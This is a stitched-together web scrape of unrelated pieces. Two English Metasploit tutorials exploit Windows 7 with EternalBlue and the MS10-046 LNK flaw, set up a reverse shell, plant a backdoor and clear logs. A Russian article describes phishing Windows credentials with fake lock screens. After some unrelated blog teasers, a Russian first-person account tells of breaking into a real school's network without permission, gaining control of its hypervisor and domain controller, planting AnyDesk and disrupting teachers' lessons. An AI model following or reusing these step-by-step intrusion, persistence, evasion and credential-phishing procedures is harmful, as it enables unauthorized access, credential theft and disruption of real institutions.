Microsoft Windows, An operating system loved by more than 80% of computer users in the world. What if I tell you that you love highly vulnerable operating systems? Yes, you heard it right, Your favorite OS i.e. Microsoft windows is a highly vulnerable OS. In this article, we will try to explore and exploit one of the most common vulnerabilities of windows.
Fun Fact: Fascinated with the term “hack”? Hacking means making things easy but in today`s digital world, people use this term in a wrong manner.
Pre-Requisites
Metasploit
A Framework tool that automates the tasks involved in hacking or I should say Penetration testing. Preinstalled in Kali Linux. Most information security professionals prefer writing their own scripts.
Auxiliary
The module in Metasploit framework used for enumeration, scanning, fuzzing etc.
SMB
Server Message Block, A protocol running on the application layer allows us to share files between two OS within the network. SMB uses a client-server architecture to share files or even printers. Also known as Common Internet File System. SMB uses ports 139 and 445. We will be using port 445 for our SMB Pentesting
RHOST & RPORT
The IP address & port we choose to enter on the target machine.
Phases of hacking
Taking into consideration the approach to hack a particular machine we follow these steps:
- Reconnaissance:
- Scan target
- Get Access
- Maintain access
- Clear logs
So basically we as hackers or even pen tester try to not just exploit using payloads like many script-kiddie but enumerate the victim machine and gather as much info as possible.
SMB Pentesting with Metasploit Port 445
- IP Address of my attacker machine: 192.168.187.131
- IP address of my victim machine: 192.168.187.130
- In our case we had both on same network locally and we knew the address but still we followed a method which shows how an attacker and get the IP Address of a victim machine using nmap
SMB Pentesting, Steps to hack windows 7 using SMB port 445 via Metasploit
- Reconnaissance, yes, hacking always starts with information gathering. So let us use nmap to discover the IP Address and open ports of the victim machine.
nmap 192.168.187.0/24
- Once we discover all devices connected with the network, IP Address, and the open ports, we found the following ports on the victim machine: Port 135, 139, 445, 3389,5800, and 5900.
- Lets try to know the services and their versions running on the remote machine we want to exploit.
nmap -sV 192.168.187.130
- The results after running the above command are as follows.
- Since we got port 445 open and the OS as windows 7 -10, service and version. Let us try to enumerate with scripts available in nmap. This enables us to find if the machine is vulnerable to some attacks related to that particular service.
nmap 192.168.187.130 –script vuln -p445 //specifically for port 445
Although its up to you. If you want to scan all ports for vulnerabilities you can also use
nmap 192.168.187.130 –script vuln
- And here we go, the output clearly shows that we must try smb-vuln-ms17-010
- So, let us now go into Metasploit and use the tools to understand the attacker machine more clearly.
sudo msfconsole
- Till this stage, we have some information about the target including IP Address, ports, Vulnerable scripts. Let us now jump to the second step i.e. scan the network to enumerate more details.
- We use auxiliary for SMB Pentesting. These auxiliary contain scripts that help to scan and enumerate information about vulnerabilities in the target. Type
Search auxiliary/scanner/smb.
- We can easily get the idea of what an auxiliary is about. Let us first try to enumerate the version by using smb_version
use auxiliary/scanner/smb/smb_version
options
set rhost 192.168.187.130
exploit
- Boom, we got the operating system, version and smb version with name
- Lets now go with another auxiliary i.e. smb_uninit_creds. It helps to check for uninitialized variable vulnerability. Use it with rhost and run exploit.
- We found it safe. Lets try it with another auxiliary named ms17-010 (The one we got in nmap script)
- The host is vulnerable to this. Wow, we also got the version i.e. windows 7 Ultimate 7601 SP1 64bit
- We scanned multiple auxiliaries, you can go for more like lookupsid, login(to brute force the creds) etc.
- Time to get access and maintain it. Let us try to find the exploit and payload.
Search ms17-010
- The output shows 4 exploits including one for windows 8 onwords. So we got 3. Lets choose the first one i.e. eternal blue.
- Going with the default payload check for options and set your RHOST.
- BOOOOOOOMMMMM!!!!!!!!! We got meterpreter.
- Remember, we still require to maintain access for the future and clear all tracks and logs.
- To maintain the access, the backdoor needs to be deployed. It enables us to connect even after the victim machine restarts. Meterpreter allows us to use metsvc for the purpose.
- While to clear logs with Metasploit, just use a command
clearev
Congrats, you are now a pro hacker.
Fun Fact: A hacker group named shadow brokers leaked this in 2017. NSA used eternalblue to spy on other countries and even Microsoft was unaware of this for around 5 years
Knowing how to hack windows 7 using SMB vulnerability looks cool. Wait, don`t you feel, preventing the SMB attack is much more cool. Yes, its Indian scriptures say A savior is always greater than attacker
Here is how you can secure your windows from being hacked via SMB
Simple, update your operating systems to the latest version as Microsoft patched the vulnerability. Also keep all your software, utilities and applications updated
Learn about facebook hacking
Today i am gonna show how to exploit any windows OS using metasploit. Exploiting a windows vulnerability to logging into the system with out username and password using Metasploit.
Before Hacking, you want to know about metasploit framework. If your are new one to hacking, its less possible to know about Metasploit.
Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.
The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.
Requirements:
1. MetaSploit Installed ( Kali Linux Distribution)
2. Ruby Installed (Install all the package of Ruby to avoid any issues)
3. Two OS running either on same as virtual or physically different
4. Target host must not be running any AV
Machine 1: Host Kali Linux Machine
Machine 2: Target Windows 7 Machine
Msfconsole is by far the most popular part of the Metasploit Framework, and for good reason. It is one of the most flexible, feature-rich, and well-
supported tools within the Framework. Msfconsole provides a handy all-in-one interface to almost every option and setting available in the Framework; it’s like a one-stop shop for all of your exploitation dreams.
To launch msfconsole, enter msfconsole at the command line
#msfconsole
Now once you get the msf prompt type the below command and look for the module exploit/windows/browser/ms10_046_shortcut_icon_dllloader.
An exploit is the means by which an attacker, or pen tester for that matter, takes advantage of a flaw within a system, an application, or a service. An attacker uses an exploit to attack a system in a way that results in a particular desired outcome that the developer never intended.
Here above module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL.This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.
Now once we have found the desired module we will use this exploit by typing the below command.
#msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
Once loaded your msf prompt should be inclusive of the loaded exploit. given below is the image
Now once the exploit is loaded we will set the payload for the above select exploit. In our scenario will be using reverse TCP payload. Type the below command to set payload.
A payload is code that we want the system to execute and that is to be selected and delivered by the Framework. A reverse shell is a payload that
creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that
“binds” a command prompt to a listening port on the target machine, which the attacker can then connect.
#msf > set payload windows/meterpreter/reverse_tcp
Now its time to do some configuration for the exploit/payload that we have just set. type the given command
#msf > show options
You should get below default output.
Now we have to set the local host to listen. Type the given below two commands.
#msf > set SRVHOST 192.168.31.20
This will be your HOST IP address running metasploit.
#msf > set LHOST 192.168.31.20
This will be also be your HOST IP address running metasploit.
Now check if the above applied configuration is applied.
#msf > show options
Now Finally we will start to exploit. Run the command Exploit.
#msf > exploit
Once executed we should “Server Started” (Make sure that your server is not running any web service on port 80)
On any Client machine simply open Internet Explorer and try to open http://192.168.31.20
Note: it will give your a pop-up asking from permission click ALLOW and Make sure you do not have any AntiVirus running on the target PC.
You can check the number of successful connected session by running the command sessons in msf console.
Now as we can see that we have one victim connected its time to login to the system. run the command session -i 1.
#meterpeter > session -i 1
Once connected type linux command to browse inside the System and have full control on it.
This Documentation is purely for educational purpose. so act with responsibility.
Уровень сложностиПростой
Время на прочтение2 мин
Количество просмотров6.4K
В этой статье мы разберем различные сценарии получения паролей в системе Windows.
Metasploit
Metasploit поставляется со встроенным модулем, который помогает нам провести атаку на получение учетных данных пользователя в открытом виде. Поскольку это модуль после эксплуатации, его просто нужно связать с текущей сессией. Чтобы использовать этот модуль, введите:
use post/windows/gather/phish_windows_credentials
set session 1
exploit
Этот модуль ожидает запуска пользователем нового процесса. После запуска процесса откроется поддельное диалоговое окно безопасности Windows, в котором будут запрошены учетные данные пользователя, как показано на изображении ниже:
Когда пользователь введет свои учетные данные, они будут отображены, как показано на рисунке ниже:
FakeLogonScreen
Аналогичный результат можно получить используя фейковый эран блокировки системы. Инструмент FakeLogonScreen разработан на C#, и позволяет получить учетный данные в чистом виде. Мы будем удаленно запускать этот инструмент с помощью Metasploit
upload /root/FakeLogonScreen.exe .
shell
FakeLogonScreen.exe
После выполнения он будет имитировать экран блокировки Windows, чтобы получить пароль от пользователя, как показано на изображении ниже:
Он будет проверять учетные данные локально или у контроллера домена по мере того, как пользователь их вводит, а затем отображать их на консоли, как показано на рисунке ниже:
SharpLocker
Этот инструмент очень похож на предыдущий.
PowerShell: Invoke-CredentialsPhish.ps1
Чтобы запустить скрипт, введите:
Import-Module C:\Users\raj\Desktop\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
При выполнении вышеуказанных команд появится запрос на ввод учетных данных, как показано на изображении ниже:
Таким образом, как только пользователь вводит учетные данные, они будут отображаться на экране, как показано на изображении ниже:
Lockphish
Lockphish — еще один инструмент, который позволяет нам получить учетные данные. Запустите инструмент с помощью следующей команды:
./lockphish.sh
Он сгенерирует публичную ссылку с помощью ngrok, как показано на изображении выше, эту ссылку необходимо передать жертве.
После запуска загруженного файла, сработает экран блокировки, и пользователь будет вынужден ввести учетные данные. И у нас будут полномочия, как показано на изображении ниже:
Мы можем использовать различные варианты для получения учетных данных целевой системы. Метод с помощью PowerShell лучше всего подходят для проверки учетных данных, так как приглашение не закрывается до тех пор, пока не будут введены правильные учетные данные. Все инструменты имеют свои преимущества и недостатки, но все они достаточно хороши и работают.
Мы в телеграме.
POCO, ACE, Loki и другие продвинутые C++ библиотеки
NullReferenced 13.05.2025
В C++ разработки существует такое обилие библиотек, что порой кажется, будто ты заблудился в дремучем лесу. И среди этого многообразия POCO (Portable Components) – как маяк для тех, кто ищет. . .
Паттерны проектирования GoF на C#
UnmanagedCoder 13.05.2025
Вы наверняка сталкивались с ситуациями, когда код разрастается до неприличных размеров, а его поддержка становится настоящим испытанием. Именно в такие моменты на помощь приходят паттерны Gang of. . .
Создаем CLI приложение на Python с Prompt Toolkit
py-thonny 13.05.2025
Современные командные интерфейсы давно перестали быть черно-белыми текстовыми программами, которые многие помнят по старым операционным системам. CLI сегодня – это мощные, интуитивные и даже. . .
Конвейеры ETL с Apache Airflow и Python
AI_Generated 13.05.2025
ETL-конвейеры – это набор процессов, отвечающих за извлечение данных из различных источников (Extract), их преобразование в нужный формат (Transform) и загрузку в целевое хранилище (Load). . . .
Выполнение асинхронных задач в Python с asyncio
py-thonny 12.05.2025
Современный мир программирования похож на оживлённый мегаполис – тысячи процессов одновременно требуют внимания, ресурсов и времени. В этих джунглях операций возникают ситуации, когда программа. . .
Работа с gRPC сервисами на C#
UnmanagedCoder 12.05.2025
gRPC (Google Remote Procedure Call) — открытый высокопроизводительный RPC-фреймворк, изначально разработанный компанией Google. Он отличается от традиционых REST-сервисов как минимум тем, что. . .
CQRS (Command Query Responsibility Segregation) на Java
Javaican 12.05.2025
CQRS — Command Query Responsibility Segregation, или разделение ответственности команд и запросов. Суть этого архитектурного паттерна проста: операции чтения данных (запросы) отделяются от операций. . .
Шаблоны и приёмы реализации DDD на C#
stackOverflow 12.05.2025
Когда я впервые погрузился в мир Domain-Driven Design, мне показалось, что это очередная модная методология, которая скоро канет в лету. Однако годы практики убедили меня в обратном. DDD — не просто. . .
Исследование рантаймов контейнеров Docker, containerd и rkt
Mr. Docker 11.05.2025
Когда мы говорим о контейнерных рантаймах, мы обсуждаем программные компоненты, отвечающие за исполнение контейнеризованных приложений. Это тот слой, который берет образ контейнера и превращает его в. . .
Micronaut и GraalVM — будущее микросервисов на Java?
Javaican 11.05.2025
Облачные вычисления безжалостно обнажили ахиллесову пяту Java — прожорливость к ресурсам и медлительный старт приложений. Традиционные фреймворки, годами радовавшие корпоративных разработчиков своей. . .
Всем здравствуйте.
Чуть больше года назад я делал тред на форуме, где рассказал о том, что нашёл множество технических уязвимостей в школе, где учился. Почитав ваши ответы, я принял решение молчать о том, что нашёл серьезную дыру в безопасности. Но это был далеко не конец…
… но давайте по порядку.
Акт первый: проникнуть в локальную сеть.
Во всех школах Москвы работает бесплатный Wi-Fi для всех учащихся. Он имеет интеграцию с сервисом
; работает в основном под оборудованием Cisco, оно имеет неплохую защиту (хоть и в нём тоже обнаруживали уязвимости). Я пытался провести получить доступ к нему, но ничего не вышло, но это, в целом, Не так уж и важно.
Важно то, что помимо него работал в моей школе другой Wi-Fi, который уже никоим образом не был связан с
, и ключевой момент это то, что он уже не был предназначен для учащихся. Он предназначен для сотрудников школы. Он-то и послужил моей точкой входа. Но для начала к нему нужно получить доступ. Где взять пароль? Получить пароль было довольно легко. Беглым «осмотром» я заметил, что на ТД включен WPS, а маршрутизатором был ASUS. И нет, я не клоню к Pixie Dust, хоть и маршрутизаторы этой компании были сильно подвержены атакам такого рода.
Но тут оказалось всё гораздо проще. Значительно проще. Помните про утилиту Router Scan из моего поста про сканирование локальной сети провайдера? Так вот, её я не использовал, но кто-то до меня (ещё в 2019 году) отсканировал локальную сеть провайдера МГТС, где и оказался этот самый ASUS. Разумеется, этот ASUS находился за NAT. Кстати, он оказался за двойным натом =) Из базы данных я получил всю недостающую информацию о этой точке доступа. Пароль подошёл. Я внутри локальной сети 192.168.1/24. Можно начинать внутреннюю разведку.
Акт второй: разведка внутри локальной сети.
Пожалуй, это был один из самых интересных «актов» в этой истории. И предельно простой. Я воспользовался всё тем же Router Scan (а чем же ещё?) для сканирования локальной сети, и как уже говорил в треде от сентября 2022, нашёл множество устройств (камеры, принтеры, роутеры, серверы, IP-телефоны и т.д). Но меня интересовали только определенные устройства, что я нашёл:
- Роутеры MikroTik (о них несколько позже)
- Гипервизор VMWare ESXi
- Серверы
О роутерах MikroTik. В следствие некомпетентности (или что это вообще?) на роутерах была установлена уязвимая прошивка RouterOS; уязвимость позволяла получить доступ к учетным данным на роутере с привилегиями администратора. Router Scan, естественно, с лёгкостью применил
. Я получил данные для входа. Зашёл в веб-панель роутера.
В настройках роутера я ничего не менял (это мне было не к чему, к тому же вероятность спалиться была высока (спойлер: я спалился, но не на этом этапе)).
Меня интересовало другое. Маршруты. В этой вкладке я обнаружил несколько других диапазонов внутри локальной сети, и принялся их сканировать. Но прежде чем сканировать, я сделал уже первую находку. 172.16.10.5. Сервер под управлением Windows Server 2008. На нём был проброшен порт RDP (3389). И как вы думаете, что я сделал? Правильно, подключился. Всё потому, что на сервере и роутере MikroTik были одинаковые. Причем до смеха простые. Но весьма оригинальные. Получил доступ к рабочему столу, моему взору был представлен ряд установленных программ, в числе них был (1С Бухгалтерия) и одна папка. Больше ничего интересного. Показал другу, поугарали с безответственности системных администраторов, и я даже закинул туда Anydesk, чтобы всегда иметь доступ к этому серверу, даже из дома. Спойлер: Anydesk там продержался недолго, меня спалили, сервер оказался через непродолжительное время отключен. Ну или фаерволл поставили, что он любые ICMP-реквесты дропал, а в локалке никак не отображался. Но это ладно, идём дальше. В маршрутах на микротике я также увидел подсеть 172.16.11.0/23. Здесь оказалась золотая жила.
Акт третий: золотая жила.
Среди массы компьютеров, роутеров, IP-камер, IP-телефонов и прочего, при сканировании этой подсети я наткнулся на устройство с адресом 172.16.11.250. Router Scan в поле Realm name сообщал о том, что это некий VMWare ESXi, о существовании которого я не знал. 80/443 порты были открыты, но на них меня не пускало, браузер писал об отсутствии некого SSL-сертификата (на компьютерах администрации школы (не системных администраторов) он был установлен, и я однажды попал по этому адресу, но ничего дельного для себя не увидел) Для чего это было делать? Безопасности ради? Ха-ха три раза, очень безопасно и предусмотрительно, весьма продуманный ход (нет). Каков мой дальнейший вектор действий? Да всё тот же. Сканирование портов. Помимо 80 и 443, я увидел открытый порт 22, SSH. Оставлять этот порт открытым было ОЧЕНЬ безответственно, это, пожалуй, самая грубая ошибка в плане безопасности, из всех, что я увидел. Но давайте вернемся. Я попробовал подключиться по этому порту. Коннект не отклонило. Попробовал авторизоваться с ранее полученными данными. Пустило. Тут-то и началось веселье. В ESXi я нашёл несколько работающих виртуальных машин. И я задался вполне логичным вопросом. Как доступ-то к ним получить? Мне и тут повезло. Всё дело в том, что ESXi позволяет для любой виртуальной машины ПРОБРОСИТЬ VNC ДЛЯ ДОСТУПА К НИМ. Этим я, собственно, и занялся. Для этого было достаточно слегка подредактировать конфигурацию интересующей виртуальной машины, что я и сделал. Ну что же, конфигурационный файл отредактирован, виртуальная машина перезагружена. Прописываю интересующий адрес в VNC viewer’e…
… и это победа. Я выбрал правильную машину. Это был контроллер домена, который имел адрес в локальной сети 172.16.10.10. К нему, разумеется, по RDP, и уж тем более по VNC подключиться было нельзя. Но я выкрутился и получил к нему доступ, только уже непосредственно через сам гипервизор.
Продолжим. В контроллер домена был выполнен вход под одной из учетных записей местных системных администраторов, и я начал изучать строение домена. В нём оказались учетные записи учителей. То есть, при желании можно было просто напросто УДАЛИТЬ (или заблокировать) учетную запись, тем самым по меньшей мере сорвать учебный процесс с использованием компьютера. Но этого, разумеется, я делать не стал.
На этом мой так называемый пентест окончился: был получен доступ, по сути, ко всему, чему только можно, в плане Active Directory, как и к гипервизору VMWare ESXi.
Кстати, на ноутбуках учителей был проброшен VNC, такого тупого мува я вообще не понял. Причем без пароля. Этим, разумеется, я воспользовался, было забавно закрывать учителю браузер во время урока, выходить из системы, и так далее.
Ну и ко всем сетевым дискам доступ я тоже получил, было интересно почитать. Например про расположение камер в здании школы, и так далее.
На этом, собственно, всё, и всем тем, кто дочитал до конца,
Спасибо за прочтение!
Надеюсь, вы узнали для себя что-нибудь новое, или вам было просто интересно почитать мою историю.